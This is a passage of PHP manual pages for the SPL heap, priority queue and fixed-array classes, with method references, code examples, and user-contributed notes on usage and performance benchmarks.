Returns whether the heap is empty.

User Contributed Notes

There are no user contributed notes for this page.


Return current node index

  • « SplHeap::isEmpty
  • SplHeap::next »
  • PHP Manual
  • SplHeap
  • Return current node index

SplHeap::key

(PHP 5 >= 5.3.0)

SplHeap::key — Return current node index

Description

public mixed SplHeap::key ( void )

This function returns the current node index

Parameters

This function has no parameters.

Return Values

The current node index.

User Contributed Notes

There are no user contributed notes for this page.


Move to the next node

  • « SplHeap::key
  • SplHeap::recoverFromCorruption »
  • PHP Manual
  • SplHeap
  • Move to the next node

SplHeap::next

(PHP 5 >= 5.3.0)

SplHeap::next — Move to the next node

Description

public void SplHeap::next ( void )

Move to the next node. This will delete the top node of the heap.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Recover from the corrupted state and allow further actions on the heap.

  • « SplHeap::next
  • SplHeap::rewind »
  • PHP Manual
  • SplHeap
  • Recover from the corrupted state and allow further actions on the heap.

SplHeap::recoverFromCorruption

(PHP 5 >= 5.3.0)

SplHeap::recoverFromCorruption — Recover from the corrupted state and allow further actions on the heap.

Description

public void SplHeap::recoverFromCorruption ( void )

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Rewind iterator back to the start (no-op)

  • « SplHeap::recoverFromCorruption
  • SplHeap::top »
  • PHP Manual
  • SplHeap
  • Rewind iterator back to the start (no-op)

SplHeap::rewind

(PHP 5 >= 5.3.0)

SplHeap::rewind — Rewind iterator back to the start (no-op)

Description

public void SplHeap::rewind ( void )

This rewinds the iterator to the beginning. This is a no-op for heaps as the iterator is virtual and in fact never moves from the top of the heap.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Peeks at the node from the top of the heap

  • « SplHeap::rewind
  • SplHeap::valid »
  • PHP Manual
  • SplHeap
  • Peeks at the node from the top of the heap

SplHeap::top

(PHP 5 >= 5.3.0)

SplHeap::top — Peeks at the node from the top of the heap

Description

public mixed SplHeap::top ( void )

Parameters

This function has no parameters.

Return Values

The value of the node on the top.

Errors/Exceptions

Throws RuntimeException when the data-structure is empty.

User Contributed Notes

There are no user contributed notes for this page.


Check whether the heap contains more nodes

  • « SplHeap::top
  • SplMaxHeap »
  • PHP Manual
  • SplHeap
  • Check whether the heap contains more nodes

SplHeap::valid

(PHP 5 >= 5.3.0)

SplHeap::valid — Check whether the heap contains more nodes

Description

public bool SplHeap::valid ( void )

Checks if the heap contains any more nodes.

Parameters

This function has no parameters.

Return Values

Returns TRUE if the heap contains any more nodes, FALSE otherwise.

User Contributed Notes

There are no user contributed notes for this page.


The SplMaxHeap class

(PHP 5 >= 5.3.0)

Introduction

The SplMaxHeap class provides the main functionalities of a heap, keeping the maximum on the top.

Class synopsis

SplMaxHeap extends SplHeap implements Iterator , Countable {
/* Methods */
protected int compare ( mixed $value1 , mixed $value2 )
/* Inherited methods */
abstract protected int SplHeap::compare ( mixed $value1 , mixed $value2 )
public int SplHeap::count ( void )
public mixed SplHeap::current ( void )
public mixed SplHeap::extract ( void )
public void SplHeap::insert ( mixed $value )
public bool SplHeap::isEmpty ( void )
public mixed SplHeap::key ( void )
public void SplHeap::next ( void )
public void SplHeap::recoverFromCorruption ( void )
public void SplHeap::rewind ( void )
public mixed SplHeap::top ( void )
public bool SplHeap::valid ( void )
}

Table of Contents

  • SplMaxHeap::compare — Compare elements in order to place them correctly in the heap while sifting up.

User Contributed Notes

MuLoT [ojousset49 at yahoo dot fr] 17-Dec-2010 02:50
SplMaxHeap simple example with integer values...

&lt;?php
class MySimpleHeap extends SplHeap
{
    public function  compare( $value1, $value2 ) {
        return ( $value1 - $value2 );
    }
}

$obj = new MySimpleHeap();
$obj-&gt;insert( 4 );
$obj-&gt;insert( 8 );
$obj-&gt;insert( 1 );
$obj-&gt;insert( 0 );

foreach( $obj as $number ) {
    echo $number.\&quot;\\n\&quot;;
}

/*
    Output display :
    8
    4
    1
    0
*/
?&gt;


Compare elements in order to place them correctly in the heap while sifting up.

  • « SplMaxHeap
  • SplMinHeap »
  • PHP Manual
  • SplMaxHeap
  • Compare elements in order to place them correctly in the heap while sifting up.

SplMaxHeap::compare

(PHP 5 >= 5.3.0)

SplMaxHeap::compare — Compare elements in order to place them correctly in the heap while sifting up.

Description

protected int SplMaxHeap::compare ( mixed $value1 , mixed $value2 )

Compare value1 with value2.

Parameters

value1

The value of the first node being compared.

value2

The value of the second node being compared.

Return Values

Result of the comparison, positive integer if value1 is greater than value2, 0 if they are equal, negative integer otherwise.

Note:

Having multiple elements with the same value in a Heap is not recommended. They will end up in an arbitrary relative position.

User Contributed Notes

sixd at php dot net 21-Dec-2010 09:26
Note the definition of SplMaxHeap::compare() is different from SplMinHeap::compare()


The SplMinHeap class

(PHP 5 >= 5.3.0)

Introduction

The SplMinHeap class provides the main functionalities of a heap, keeping the minimum on the top.

Class synopsis

SplMinHeap extends SplHeap implements Iterator , Countable {
/* Methods */
protected int compare ( mixed $value1 , mixed $value2 )
/* Inherited methods */
abstract protected int SplHeap::compare ( mixed $value1 , mixed $value2 )
public int SplHeap::count ( void )
public mixed SplHeap::current ( void )
public mixed SplHeap::extract ( void )
public void SplHeap::insert ( mixed $value )
public bool SplHeap::isEmpty ( void )
public mixed SplHeap::key ( void )
public void SplHeap::next ( void )
public void SplHeap::recoverFromCorruption ( void )
public void SplHeap::rewind ( void )
public mixed SplHeap::top ( void )
public bool SplHeap::valid ( void )
}

Table of Contents

  • SplMinHeap::compare — Compare elements in order to place them correctly in the heap while sifting up.

User Contributed Notes

There are no user contributed notes for this page.


Compare elements in order to place them correctly in the heap while sifting up.

  • « SplMinHeap
  • SplPriorityQueue »
  • PHP Manual
  • SplMinHeap
  • Compare elements in order to place them correctly in the heap while sifting up.

SplMinHeap::compare

(PHP 5 >= 5.3.0)

SplMinHeap::compare — Compare elements in order to place them correctly in the heap while sifting up.

Description

protected int SplMinHeap::compare ( mixed $value1 , mixed $value2 )

Compare value1 with value2.

Parameters

value1

The value of the first node being compared.

value2

The value of the second node being compared.

Return Values

Result of the comparison, positive integer if value1 is lower than value2, 0 if they are equal, negative integer otherwise.

Note:

Having multiple elements with the same value in a Heap is not recommended. They will end up in an arbitrary relative position.

User Contributed Notes

sixd at php dot net 21-Dec-2010 09:26
Note the definition of SplMaxHeap::compare() is different from SplMinHeap::compare()


The SplPriorityQueue class

(PHP 5 >= 5.3.0)

Introduction

The SplPriorityQueue class provides the main functionalities of an prioritized queue, implemented using a max heap.

Class synopsis

SplPriorityQueue implements Iterator , Countable {
/* Methods */
public __construct ( void )
public int compare ( mixed $priority1 , mixed $priority2 )
public int count ( void )
public mixed current ( void )
public mixed extract ( void )
public void insert ( mixed $value , mixed $priority )
public bool isEmpty ( void )
public mixed key ( void )
public void next ( void )
public void recoverFromCorruption ( void )
public void rewind ( void )
public void setExtractFlags ( int $flags )
public mixed top ( void )
public bool valid ( void )
}

Table of Contents

  • SplPriorityQueue::compare — Compare priorities in order to place elements correctly in the heap while sifting up.
  • SplPriorityQueue::__construct — Constructs a new empty queue
  • SplPriorityQueue::count — Counts the number of elements in the queue.
  • SplPriorityQueue::current — Return current node pointed by the iterator
  • SplPriorityQueue::extract — Extracts a node from top of the heap and sift up.
  • SplPriorityQueue::insert — Inserts an element in the queue by sifting it up.
  • SplPriorityQueue::isEmpty — Checks whether the queue is empty.
  • SplPriorityQueue::key — Return current node index
  • SplPriorityQueue::next — Move to the next node
  • SplPriorityQueue::recoverFromCorruption — Recover from the corrupted state and allow further actions on the queue.
  • SplPriorityQueue::rewind — Rewind iterator back to the start (no-op)
  • SplPriorityQueue::setExtractFlags — Sets the mode of extraction
  • SplPriorityQueue::top — Peeks at the node from the top of the queue
  • SplPriorityQueue::valid — Check whether the queue contains more nodes

User Contributed Notes

Hayley Watson 06-May-2014 11:10
For a heap-based priority queue to be at its most effective, the "priority" should be something that can take on a wide range of values (lengths, timestamps, populations). It optimises the tasks of searching the queue for the appropriate place to insert an item (and inserting it); and removing the first item in the list.

Items may potentially be inserted into the queue wherever two adjacent items have different priorities. The heap structure is an efficient way of indexing such insertion points when there are many of them distributed throughout the list.

If you have a sharply-limited enumeration of possible priority values, then there are very few insertion possible insertion points - one for each priority value. In that situation, one can make the insertion points explicit (and thus eliminate the need to maintain a heap indexing them) by implementing your priority queue as a list of simple queues from which you draw successive items from the highest-priority nonempty queue.
lsroudi at gmail dot com 06-Feb-2014 03:38
<?php

/**
 * Description of PriorityQueue
 *
 * (c) lsroudi http://lsroudi.com/ <lsroudi@gmail.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */
interface PriorityLoggerInterface {

    public function insert($value, $priority);
}

class PriorityLogger extends SplPriorityQueue implements PriorityLoggerInterface {

}

class Logger {

    const ERROR = 3;
    const NOTICE = 1;
    const WARNING = 2;

    private $priorityLogger;

    public function __construct(PriorityLoggerInterface $priorityLogger)
    {
        $this->priorityLogger = $priorityLogger;
    }

    public function addMessage($value, $priority)
    {
        $this->priorityLogger->insert($value, $priority);
    }

    public function getPriorityLogger()
    {
        return $this->priorityLogger;
    }

}

$priorityLogger = new PriorityLogger();

$logger = new Logger($priorityLogger);
$logger->addMessage('Message with notice type', Logger::NOTICE);
$logger->addMessage('Message with warning type', Logger::WARNING);
$logger->addMessage('Message with error type', Logger::ERROR);

$priorityLoggerQueue = $logger->getPriorityLogger();

foreach ($priorityLoggerQueue as $queue){
    print $queue . PHP_EOL;
}

//Résultat
//Message with error type
//Message with warning type
//Message with notice type
?>
rajatn at rediff dot co dot in 30-Jul-2010 01:29
quick implementation of SPL Priority Queue:

<?php

class PQtest extends SplPriorityQueue
{
    public function compare($priority1, $priority2)
    {
        if ($priority1 === $priority2) return 0;
        return $priority1 < $priority2 ? -1 : 1;
    }
}

$objPQ = new PQtest();

$objPQ->insert('A',3);
$objPQ->insert('B',6);
$objPQ->insert('C',1);
$objPQ->insert('D',2);

echo "COUNT->".$objPQ->count()."<BR>";

//mode of extraction
$objPQ->setExtractFlags(PQtest::EXTR_BOTH);

//Go to TOP
$objPQ->top();

while($objPQ->valid()){
    print_r($objPQ->current());
    echo "<BR>";
    $objPQ->next();
}

?>

output:

COUNT->4
Array ( [data] => B [priority] => 6 )
Array ( [data] => A [priority] => 3 )
Array ( [data] => D [priority] => 2 )
Array ( [data] => C [priority] => 1 )


Compare priorities in order to place elements correctly in the heap while sifting up.

  • « SplPriorityQueue
  • SplPriorityQueue::__construct »
  • PHP Manual
  • SplPriorityQueue
  • Compare priorities in order to place elements correctly in the heap while sifting up.

SplPriorityQueue::compare

(PHP 5 >= 5.3.0)

SplPriorityQueue::compare — Compare priorities in order to place elements correctly in the heap while sifting up.

Description

public int SplPriorityQueue::compare ( mixed $priority1 , mixed $priority2 )

Compare priority1 with priority2.

Parameters

priority1

The priority of the first node being compared.

priority2

The priority of the second node being compared.

Return Values

Result of the comparison, positive integer if priority1 is greater than priority2, 0 if they are equal, negative integer otherwise.

Note:

Multiple elements with the same priority will get dequeued in no particular order.

User Contributed Notes

Anonymous 11-Oct-2009 01:51
At this time, the documentation sais "Note: Multiple elements with the same priority will get dequeued in no particular order."

If you need elements of equal priority to maintain insertion order, you can use something like:

<?php

class StablePriorityQueue extends SplPriorityQueue {
    protected $serial = PHP_INT_MAX;
    public function insert($value, $priority) {
        parent::insert($value, array($priority, $this->serial--));
    }
}

?>


Constructs a new empty queue

  • « SplPriorityQueue::compare
  • SplPriorityQueue::count »
  • PHP Manual
  • SplPriorityQueue
  • Constructs a new empty queue

SplPriorityQueue::__construct

(PHP 5 >= 5.3.0)

SplPriorityQueue::__construct — Constructs a new empty queue

Description

public SplPriorityQueue::__construct ( void )

This constructs a new empty queue.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

Jennifer 22-Mar-2011 09:19
I was trying to extend SplPriorityQueue like this:

<?php
class AdjustablePriorityQueue extends SplPriorityQueue {
    protected $direction='desc';//queue is ordered highest to lowest priority, direction is changeable ONLY on __construct()

    function __construct($direction='desc'){
        parent::__construct(); //Fatal error:  Cannot call constructor
        $this->direction=($direction=='asc') ? 'asc': 'desc';
    }

    function compare($priority1,$priority2){
        if($this->direction=='asc') return parent::compare($priority2, $priority1);
        return parent::compare($priority1,$priority2);
    }
}
?>

calling `parent::__construct()` gives a fatal error " Cannot call constructor".  If I leave out that call, everything works fine.  This suggests that SplPriorityQueue does not actually have a `__construct()` method.


Counts the number of elements in the queue.

  • « SplPriorityQueue::__construct
  • SplPriorityQueue::current »
  • PHP Manual
  • SplPriorityQueue
  • Counts the number of elements in the queue.

SplPriorityQueue::count

(PHP 5 >= 5.3.0)

SplPriorityQueue::count — Counts the number of elements in the queue.

Description

public int SplPriorityQueue::count ( void )

Parameters

This function has no parameters.

Return Values

Returns the number of elements in the queue.

User Contributed Notes

There are no user contributed notes for this page.


Return current node pointed by the iterator

  • « SplPriorityQueue::count
  • SplPriorityQueue::extract »
  • PHP Manual
  • SplPriorityQueue
  • Return current node pointed by the iterator

SplPriorityQueue::current

(PHP 5 >= 5.3.0)

SplPriorityQueue::current — Return current node pointed by the iterator

Description

public mixed SplPriorityQueue::current ( void )

Get the current datastructure node.

Parameters

This function has no parameters.

Return Values

The value or priority (or both) of the current node, depending on the extract flag.

User Contributed Notes

There are no user contributed notes for this page.


Extracts a node from top of the heap and sift up.

  • « SplPriorityQueue::current
  • SplPriorityQueue::insert »
  • PHP Manual
  • SplPriorityQueue
  • Extracts a node from top of the heap and sift up.

SplPriorityQueue::extract

(PHP 5 >= 5.3.0)

SplPriorityQueue::extract — Extracts a node from top of the heap and sift up.

Description

public mixed SplPriorityQueue::extract ( void )

Parameters

This function has no parameters.

Return Values

The value or priority (or both) of the extracted node, depending on the extract flag.

User Contributed Notes

There are no user contributed notes for this page.


Inserts an element in the queue by sifting it up.

  • « SplPriorityQueue::extract
  • SplPriorityQueue::isEmpty »
  • PHP Manual
  • SplPriorityQueue
  • Inserts an element in the queue by sifting it up.

SplPriorityQueue::insert

(PHP 5 >= 5.3.0)

SplPriorityQueue::insert — Inserts an element in the queue by sifting it up.

Description

public void SplPriorityQueue::insert ( mixed $value , mixed $priority )

Insert value with the priority priority in the queue.

Parameters

value

The value to insert.

priority

The associated priority.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Checks whether the queue is empty.

  • « SplPriorityQueue::insert
  • SplPriorityQueue::key »
  • PHP Manual
  • SplPriorityQueue
  • Checks whether the queue is empty.

SplPriorityQueue::isEmpty

(PHP 5 >= 5.3.0)

SplPriorityQueue::isEmpty — Checks whether the queue is empty.

Description

public bool SplPriorityQueue::isEmpty ( void )

Parameters

This function has no parameters.

Return Values

Returns whether the queue is empty.

User Contributed Notes

There are no user contributed notes for this page.


Return current node index

  • « SplPriorityQueue::isEmpty
  • SplPriorityQueue::next »
  • PHP Manual
  • SplPriorityQueue
  • Return current node index

SplPriorityQueue::key

(PHP 5 >= 5.3.0)

SplPriorityQueue::key — Return current node index

Description

public mixed SplPriorityQueue::key ( void )

This function returns the current node index

Parameters

This function has no parameters.

Return Values

The current node index.

User Contributed Notes

There are no user contributed notes for this page.


Move to the next node

  • « SplPriorityQueue::key
  • SplPriorityQueue::recoverFromCorruption »
  • PHP Manual
  • SplPriorityQueue
  • Move to the next node

SplPriorityQueue::next

(PHP 5 >= 5.3.0)

SplPriorityQueue::next — Move to the next node

Description

public void SplPriorityQueue::next ( void )

Extracts the top node from the queue.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Recover from the corrupted state and allow further actions on the queue.

  • « SplPriorityQueue::next
  • SplPriorityQueue::rewind »
  • PHP Manual
  • SplPriorityQueue
  • Recover from the corrupted state and allow further actions on the queue.

SplPriorityQueue::recoverFromCorruption

(PHP 5 >= 5.3.0)

SplPriorityQueue::recoverFromCorruption — Recover from the corrupted state and allow further actions on the queue.

Description

public void SplPriorityQueue::recoverFromCorruption ( void )

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Rewind iterator back to the start (no-op)

  • « SplPriorityQueue::recoverFromCorruption
  • SplPriorityQueue::setExtractFlags »
  • PHP Manual
  • SplPriorityQueue
  • Rewind iterator back to the start (no-op)

SplPriorityQueue::rewind

(PHP 5 >= 5.3.0)

SplPriorityQueue::rewind — Rewind iterator back to the start (no-op)

Description

public void SplPriorityQueue::rewind ( void )

This rewinds the iterator to the beginning. This is a no-op for heaps as the iterator is virtual and in fact never moves from the top of the heap.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Sets the mode of extraction

  • « SplPriorityQueue::rewind
  • SplPriorityQueue::top »
  • PHP Manual
  • SplPriorityQueue
  • Sets the mode of extraction

SplPriorityQueue::setExtractFlags

(PHP 5 >= 5.3.0)

SplPriorityQueue::setExtractFlags — Sets the mode of extraction

Description

public void SplPriorityQueue::setExtractFlags ( int $flags )

Parameters

flags

Defines what is extracted by SplPriorityQueue::current(),
SplPriorityQueue::top() and
SplPriorityQueue::extract().

  • SplPriorityQueue::EXTR_DATA (0x00000001): Extract the data
  • SplPriorityQueue::EXTR_PRIORITY (0x00000002): Extract the priority
  • SplPriorityQueue::EXTR_BOTH (0x00000003): Extract an array containing both

The default mode is SplPriorityQueue::EXTR_DATA.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Peeks at the node from the top of the queue

  • « SplPriorityQueue::setExtractFlags
  • SplPriorityQueue::valid »
  • PHP Manual
  • SplPriorityQueue
  • Peeks at the node from the top of the queue

SplPriorityQueue::top

(PHP 5 >= 5.3.0)

SplPriorityQueue::top — Peeks at the node from the top of the queue

Description

public mixed SplPriorityQueue::top ( void )

Parameters

This function has no parameters.

Return Values

The value or priority (or both) of the top node, depending on the extract flag.

User Contributed Notes

There are no user contributed notes for this page.


Check whether the queue contains more nodes

  • « SplPriorityQueue::top
  • SplFixedArray »
  • PHP Manual
  • SplPriorityQueue
  • Check whether the queue contains more nodes

SplPriorityQueue::valid

(PHP 5 >= 5.3.0)

SplPriorityQueue::valid — Check whether the queue contains more nodes

Description

public bool SplPriorityQueue::valid ( void )

Checks if the queue contains any more nodes.

Parameters

This function has no parameters.

Return Values

Returns TRUE if the queue contains any more nodes, FALSE otherwise.

User Contributed Notes

There are no user contributed notes for this page.


The SplFixedArray class

(PHP 5 >= 5.3.0)

Introduction

The SplFixedArray class provides the main functionalities of array. The main differences between a SplFixedArray and a normal PHP array is that the SplFixedArray is of fixed length and allows only integers within the range as indexes. The advantage is that it allows a faster array implementation.

Class synopsis

SplFixedArray implements Iterator , ArrayAccess , Countable {
/* Methods */
public __construct ([ int $size = 0 ] )
public int count ( void )
public mixed current ( void )
public static SplFixedArray fromArray ( array $array [, bool $save_indexes = true ] )
public int getSize ( void )
public int key ( void )
public void next ( void )
public bool offsetExists ( int $index )
public mixed offsetGet ( int $index )
public void offsetSet ( int $index , mixed $newval )
public void offsetUnset ( int $index )
public void rewind ( void )
public int setSize ( int $size )
public array toArray ( void )
public bool valid ( void )
public void __wakeup ( void )
}

Examples

Example #1 SplFixedArray usage example

<?php
// Initialize the array with a fixed length
$array = new SplFixedArray(5);

$array[1] = 2;
$array[4] = "foo";

var_dump($array[0]); // NULL
var_dump($array[1]); // int(2)

var_dump($array["4"]); // string(3) "foo"

// Increase the size of the array to 10
$array->setSize(10);

$array[9] = "asdf";

// Shrink the array to a size of 2
$array->setSize(2);

// The following lines throw a RuntimeException: Index invalid or out of range
try {
    var_dump($array["non-numeric"]);
} catch(RuntimeException $re) {
    echo "RuntimeException: ".$re->getMessage()."\n";
}

try {
    var_dump($array[-1]);
} catch(RuntimeException $re) {
    echo "RuntimeException: ".$re->getMessage()."\n";
}

try {
    var_dump($array[5]);
} catch(RuntimeException $re) {
    echo "RuntimeException: ".$re->getMessage()."\n";
}
?>

The above example will output:

NULL
int(2)
string(3) "foo"
RuntimeException: Index invalid or out of range
RuntimeException: Index invalid or out of range
RuntimeException: Index invalid or out of range

Table of Contents

  • SplFixedArray::__construct — Constructs a new fixed array
  • SplFixedArray::count — Returns the size of the array
  • SplFixedArray::current — Return current array entry
  • SplFixedArray::fromArray — Import a PHP array in a SplFixedArray instance
  • SplFixedArray::getSize — Gets the size of the array
  • SplFixedArray::key — Return current array index
  • SplFixedArray::next — Move to next entry
  • SplFixedArray::offsetExists — Returns whether the requested index exists
  • SplFixedArray::offsetGet — Returns the value at the specified index
  • SplFixedArray::offsetSet — Sets a new value at a specified index
  • SplFixedArray::offsetUnset — Unsets the value at the specified $index
  • SplFixedArray::rewind — Rewind iterator back to the start
  • SplFixedArray::setSize — Change the size of an array
  • SplFixedArray::toArray — Returns a PHP array from the fixed array
  • SplFixedArray::valid — Check whether the array contains more elements
  • SplFixedArray::__wakeup — Reinitialises the array after being unserialised

User Contributed Notes

artaxerxes 13-Nov-2012 01:41
As the documentation says, SplFixedArray is meant to be *faster* than array. Do not blindly believe other people's benchmarks, and beextra careful with the user comments on php.net. For instance, nairbv's benchmark code is completely wrong. Among other errors, it intends to increase the size of the arrays, but always initialize a 20 elements SplFixedArray.

On a PHP 5.4 64 bits linux server, I found SplFixedArray to be always faster than array().
* small data (1,000):
    * write: SplFixedArray is 15 % faster
    * read:  SplFixedArray is  5 % faster
* larger data (512,000):
    * write: SplFixedArray is 33 % faster
    * read:  SplFixedArray is 10 % faster
alex dot andrienko at gmail dot com 15-Nov-2010 11:13
Memory footprint of splFixedArray is about 37% of a regular "array" of the same size.
I was hoping for more, but that's also significant, and that's where you should expect to see difference, not in "performance".
chrisstocktonaz at gmail dot com 14-Jul-2009 08:07
Note, that this is considerably faster and should be used when the size of the array is known. Here are some very basic bench marks:

<?php
for($size = 1000; $size < 50000000; $size *= 2) {
    echo PHP_EOL . "Testing size: $size" . PHP_EOL;
    for($s = microtime(true), $container = Array(), $i = 0; $i < $size; $i++) $container[$i] = NULL;
    echo "Array(): " . (microtime(true) - $s) . PHP_EOL;

    for($s = microtime(true), $container = new SplFixedArray($size), $i = 0; $i < $size; $i++) $container[$i] = NULL;
    echo "SplArray(): " . (microtime(true) - $s) . PHP_EOL;
}
?>

OUTPUT
Testing size: 1000
Array(): 0.00046396255493164
SplArray(): 0.00023293495178223

Testing size: 2000
Array(): 0.00057101249694824
SplArray(): 0.0003058910369873

Testing size: 4000
Array(): 0.0015869140625
SplArray(): 0.00086307525634766

Testing size: 8000
Array(): 0.0024251937866211
SplArray(): 0.00211501121521

Testing size: 16000
Array(): 0.0057680606842041
SplArray(): 0.0041120052337646

Testing size: 32000
Array(): 0.011334896087646
SplArray(): 0.007631778717041

Testing size: 64000
Array(): 0.021990060806274
SplArray(): 0.013560056686401

Testing size: 128000
Array(): 0.053267002105713
SplArray(): 0.030976057052612

Testing size: 256000
Array(): 0.10280108451843
SplArray(): 0.056283950805664

Testing size: 512000
Array(): 0.20657992362976
SplArray(): 0.11510300636292

Testing size: 1024000
Array(): 0.4138810634613
SplArray(): 0.21826505661011

Testing size: 2048000
Array(): 0.85640096664429
SplArray(): 0.46247816085815

Testing size: 4096000
Array(): 1.7242450714111
SplArray(): 0.95304894447327

Testing size: 8192000
Array(): 3.448086977005
SplArray(): 1.96746301651


Constructs a new fixed array

  • « SplFixedArray
  • SplFixedArray::count »
  • PHP Manual
  • SplFixedArray
  • Constructs a new fixed array

SplFixedArray::__construct

(PHP 5 >= 5.3.0)

SplFixedArray::__construct — Constructs a new fixed array

Description

public SplFixedArray::__construct ([ int $size = 0 ] )

Initializes a fixed array with a number of NULL values equal to size.

Parameters

size

The size of the fixed array. This expects a number between 0 and PHP_INT_MAX.

Return Values

No value is returned.

Errors/Exceptions

Throws InvalidArgumentException when size is a negative number.

Raises E_WARNING when size cannot be parsed as a number.

Examples

Example #1 SplFixedArray::__construct() example

<?php
$array = new SplFixedArray(5);

$array[1] = 2;
$array[4] = "foo";

foreach($array as $v) {
  var_dump($v);
}
?>

The above example will output:

NULL
int(2)
NULL
NULL
string(3) "foo"

User Contributed Notes

There are no user contributed notes for this page.


Returns the size of the array

  • « SplFixedArray::__construct
  • SplFixedArray::current »
  • PHP Manual
  • SplFixedArray
  • Returns the size of the array

SplFixedArray::count

(PHP 5 >= 5.3.0)

SplFixedArray::count — Returns the size of the array

Description

public int SplFixedArray::count ( void )

Returns the size of the array.

Parameters

This function has no parameters.

Return Values

Returns the size of the array.

Examples

Example #1 SplFixedArray::count() example

<?php
$array = new SplFixedArray(5);
echo $array->count() . "\n";
echo count($array) . "\n";
?>

The above example will output:

5
5

Notes

Note:

This method is functionally equivalent to SplFixedArray::getSize().

Note:

The count of elements is always equal to the set size because all values are initially initialized with NULL.

See Also

  • SplFixedArray::getSize() - Gets the size of the array

User Contributed Notes

There are no user contributed notes for this page.


Return current array entry

  • « SplFixedArray::count
  • SplFixedArray::fromArray »
  • PHP Manual
  • SplFixedArray
  • Return current array entry

SplFixedArray::current

(PHP 5 >= 5.3.0)

SplFixedArray::current — Return current array entry

Description

public mixed SplFixedArray::current ( void )

Get the current array element.

Parameters

This function has no parameters.

Return Values

The current element value.

Errors/Exceptions

Throws RuntimeException when the internal array pointer points to an invalid index or is out of bounds.

User Contributed Notes

There are no user contributed notes for this page.


Import a PHP array in a SplFixedArray instance

  • « SplFixedArray::current
  • SplFixedArray::getSize »
  • PHP Manual
  • SplFixedArray
  • Import a PHP array in a SplFixedArray instance

SplFixedArray::fromArray

(PHP 5 >= 5.3.0)

SplFixedArray::fromArray — Import a PHP array in a SplFixedArray instance

Description

public static SplFixedArray SplFixedArray::fromArray ( array $array [, bool $save_indexes = true ] )

Import the PHP array array in a new SplFixedArray instance

Parameters

array

The array to import.

save_indexes

Try to save the numeric indexes used in the original array.

Return Values

Returns an instance of SplFixedArray containing the array content.

Examples

Example #1 SplFixedArray::fromArray() example

<?php
$fa = SplFixedArray::fromArray(array(1 => 1, 0 => 2, 3 => 3));

var_dump($fa);

$fa = SplFixedArray::fromArray(array(1 => 1, 0 => 2, 3 => 3), false);

var_dump($fa);
?>

The above example will output:

object(SplFixedArray)#1 (4) {
  [0]=>
  int(2)
  [1]=>
  int(1)
  [2]=>
  NULL
  [3]=>
  int(3)
}
object(SplFixedArray)#2 (3) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
}

User Contributed Notes

MuLoT 10-Dec-2010 06:15
Memory footprint tests :

<?php
echo memory_get_usage()."\n"; // display 627760
$array = array_fill( 0, 2048, 'a' );
echo memory_get_usage()."\n"; // 824744, so 196984 for $array

unset( $array );

echo memory_get_usage()."\n"; // 627792
$spl=SplFixedArray::fromArray( array_fill( 0, 2048, 'a' ) );
echo memory_get_usage()."\n"; //644944, so just 17151 for $spl !!!
?>


Gets the size of the array

  • « SplFixedArray::fromArray
  • SplFixedArray::key »
  • PHP Manual
  • SplFixedArray
  • Gets the size of the array

SplFixedArray::getSize

(PHP 5 >= 5.3.0)

SplFixedArray::getSize — Gets the size of the array

Description

public int SplFixedArray::getSize ( void )

Gets the size of the array.

Parameters

This function has no parameters.

Return Values

Returns the size of the array, as an integer.

Examples

Example #1 SplFixedArray::getSize() example

<?php
$array = new SplFixedArray(5);
echo $array->getSize()."\n";
$array->setSize(10);
echo $array->getSize()."\n";
?>

The above example will output:

5
10

Notes

Note:

This method is functionally equivalent to SplFixedArray::count()

See Also

  • SplFixedArray::count() - Returns the size of the array

User Contributed Notes

c dot 1 at smithies dot org 22-Nov-2010 02:38
This function is currently a synonym for count().


Return current array index

  • « SplFixedArray::getSize
  • SplFixedArray::next »
  • PHP Manual
  • SplFixedArray
  • Return current array index

SplFixedArray::key

(PHP 5 >= 5.3.0)

SplFixedArray::key — Return current array index

Description

public int SplFixedArray::key ( void )

Returns the current array index.

Parameters

This function has no parameters.

Return Values

The current array index.

User Contributed Notes

There are no user contributed notes for this page.


Move to next entry

  • « SplFixedArray::key
  • SplFixedArray::offsetExists »
  • PHP Manual
  • SplFixedArray
  • Move to next entry

SplFixedArray::next

(PHP 5 >= 5.3.0)

SplFixedArray::next — Move to next entry

Description

public void SplFixedArray::next ( void )

Move the iterator to the next array entry.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Returns whether the requested index exists

  • « SplFixedArray::next
  • SplFixedArray::offsetGet »
  • PHP Manual
  • SplFixedArray
  • Returns whether the requested index exists

SplFixedArray::offsetExists

(PHP 5 >= 5.3.0)

SplFixedArray::offsetExists — Returns whether the requested index exists

Description

public bool SplFixedArray::offsetExists ( int $index )

Checks whether the requested index index exists.

Parameters

index

The index being checked.

Return Values

TRUE if the requested index exists, otherwise FALSE

User Contributed Notes

There are no user contributed notes for this page.


Returns the value at the specified index

  • « SplFixedArray::offsetExists
  • SplFixedArray::offsetSet »
  • PHP Manual
  • SplFixedArray
  • Returns the value at the specified index

SplFixedArray::offsetGet

(PHP 5 >= 5.3.0)

SplFixedArray::offsetGet — Returns the value at the specified index

Description

public mixed SplFixedArray::offsetGet ( int $index )

Returns the value at the index index.

Parameters

index

The index with the value.

Return Values

The value at the specified index.

Errors/Exceptions

Throws RuntimeException when index is outside the defined size of the array or when index cannot be parsed as an integer.

User Contributed Notes

There are no user contributed notes for this page.


Sets a new value at a specified index

  • « SplFixedArray::offsetGet
  • SplFixedArray::offsetUnset »
  • PHP Manual
  • SplFixedArray
  • Sets a new value at a specified index

SplFixedArray::offsetSet

(PHP 5 >= 5.3.0)

SplFixedArray::offsetSet — Sets a new value at a specified index

Description

public void SplFixedArray::offsetSet ( int $index , mixed $newval )

Sets the value at the specified index to newval.

Parameters

index

The index being set.

newval

The new value for the index.

Return Values

